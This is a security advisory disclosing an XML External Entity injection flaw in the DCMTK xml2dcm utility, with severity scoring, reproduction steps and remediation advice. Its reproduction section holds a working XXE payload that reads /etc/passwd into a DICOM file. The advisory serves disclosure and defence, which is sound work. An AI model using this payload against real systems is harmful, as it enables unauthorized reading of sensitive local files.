ADVISORY XML2DCM-XXE-1: XXE injection in xml2dcm utility

Severity Rating: Medium

Confirmed Affected Versions:

Found on: v3.6.4(Host type: x86_64-Darwin), v3.6.2(Host type: Debian)

Vendor: OFFIS

Vendor URL: https://www.offis.de/offis/downloads-und-tools.html

Credit: Maria Nedyak

Status: Public

CVE: -

CWE: 611

CVSS Score: 7.1

CVSS Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

VULNERABILITY DESCRIPTION

xml2dcm utility is vulnerable to XML External Entity (XXE) Injection. The utility doesn't have any configuration parameters to disable DTDs (External Entities) completely.

PRODUCT DESCRIPTION

xml2dcm is the utility of DCMTK - DICOM Toolkit which converts the contents of an XML document to a DICOM file or data set.

TECHNICAL DETAILS

xml2dcm uses libxml2. This parser allows processing and converting XML with external entities. It can be used for reading local files, which may contain sensitive data such as passwords or private user data.

STEPS TO REPRODUCE

1. Create xml with external entity:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
   <!DOCTYPE foo [
   <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
...
<element tag="0010,0010" vr="PN" vm="1" len="32"
name="PatientName">&xxe;</element>
...
```

2. Convert xml to dcm using the xml2dcm:

```
$ xml2dcm xxe.xml xxe.dcm
```

3. The result DICOM-file will include the content of /etc/passwd file.

RECOMMENDATIONS

Follow the recommendations from OWASP XML External Entity (XXE) Prevention Cheat Sheet[1]. Use libxml2 library version 2.9 or above. According to this post[2], starting with libxml2 version 2.9, XXE is disabled by default as committed by the following patch[3].

[1] XML External Entity (XXE) Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#libxml2

[2] https://mail.gnome.org/archives/xml/2012-October/msg00045.html

[3] https://gitlab.gnome.org/GNOME/libxml2/commit/4629ee02ac649c27f9c0cf98ba017c6b5526070f